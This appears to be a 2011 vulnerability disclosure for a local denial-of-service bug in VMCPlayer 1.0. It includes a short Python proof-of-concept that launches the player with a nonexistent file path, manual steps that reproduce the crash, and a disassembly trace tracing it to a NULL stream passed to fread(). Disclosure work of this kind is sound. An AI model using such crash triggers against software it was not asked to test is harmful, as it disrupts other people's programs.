VMCPlayer 1.0 Denial of Service 2011-03-23 14:15:08

# done by BraniX <[email protected]>
# www.hackers.org.pl
# found: 2011.03.22
# published: 2011.03.22
# tested on: Windows XP SP3 Home Edition

# App: VMCPlayer 1.0
# App Url: http://files.videomobileconverter.com/vmcplayer.exe
# VMCPlayer.exe MD5: 8a98ffbb404731f8f5ffbf3eaf30a327

# VMCPlayer can be DoS'ed in two (or probably more) ways
# 1. [No user interaction required] Pass invalid file path during start-up process
# 2. [User interaction required] Manually enter invalid file name to OpenFileDialog

import os

path = '"C:\\Program Files\\VideoMobileConverter\\VMCPlayer\\VMCPlayer.exe"'

print "Trying to start VMCPlayer from path:"
print path
print "No user actions are required (OK, one is - click OK in MessageBox ;) )"

os.system(path + " ImAGhostFilePickMe")

print "Done, if nothing happened update VMCPlayer path in PY file ;)"

How to DoS VMCPlayer 1.0
1. Start VMCPlayer
2. Click button 'Open video'
3. (DO NOT PICK A FILE) In file name TextBox enter 'IHaveNoSuchFile' or other non-existing file name :)
4. 'Open' non-existing file
5. You have DoS

What happened?

Null pointer was passed to fread() function as a FILE* stream which caused DoS

size_t fread ( void * ptr, size_t size, size_t count, FILE * stream );

00409EE0 Main MOV EAX,DWORD PTR DS:[ECX+8] ; EAX=00000000
00409EE3 Main MOV ECX,DWORD PTR SS:[ESP+8] ; ECX=00008000
00409EE7 Main MOV EDX,DWORD PTR SS:[ESP+4] ; EDX=023D5F08
00409EEB Main PUSH EAX ; stream = NULL; ESP=0012E87C
00409EEC Main PUSH ECX ; n = 8000 (32768.); ESP=0012E878
00409EED Main PUSH 1 ; size = 1; ESP=0012E874
00409EEF Main PUSH EDX ; ptr = 023D5F08; ESP=0012E870
00409EF0 Main CALL DWORD PTR DS:[<&MSVCR80.fread>] ; ESP=0012E86C

Exception was not handled by user's code, so application was forced to close

781389EF Main CALL DWORD PTR DS:[<&KERNEL32.IsDebuggerPresent>]; EAX=00000001
781389F5 Main PUSH 0 ; ESP=0012E4D8
781389F7 Main MOV ESI,EAX ; ESI=00000001
781389F9 Main CALL DWORD PTR DS:[<&KERNEL32.SetUnhandledExceptionFilter>]; FL=PZ, EAX=0040C6FE, ECX=00008289, EDX=7C90E514, ESP=0012E4DC
781389FF Main LEA EAX,DWORD PTR SS:[EBP-30] ; EAX=0012E530
78138A02 Main PUSH EAX ; ESP=0012E4D8
78138A03 Main CALL DWORD PTR DS:[<&KERNEL32.UnhandledExceptionFilter>]; EAX=00000000, ECX=7C864938, ESP=0012E4DC
78138A09 Main TEST EAX,EAX
78138A0B Main JNZ SHORT MSVCR80.78138A19
78138A0D Main TEST ESI,ESI ; FL=0
78138A0F Main JNZ SHORT MSVCR80.78138A19
78138A19 Main PUSH C000000D ; ESP=0012E4D8
78138A1E Main CALL DWORD PTR DS:[<&KERNEL32.GetCurrentProcess>]; FL=PS, EAX=FFFFFFFF
78138A24 Main PUSH EAX ; ESP=0012E4D4
78138A25 Main CALL DWORD PTR DS:[<&KERNEL32.TerminateProcess>]; FL=P, EAX=00000000, ECX=0039B9B8, EBX=00000000, ESP=022AFF70,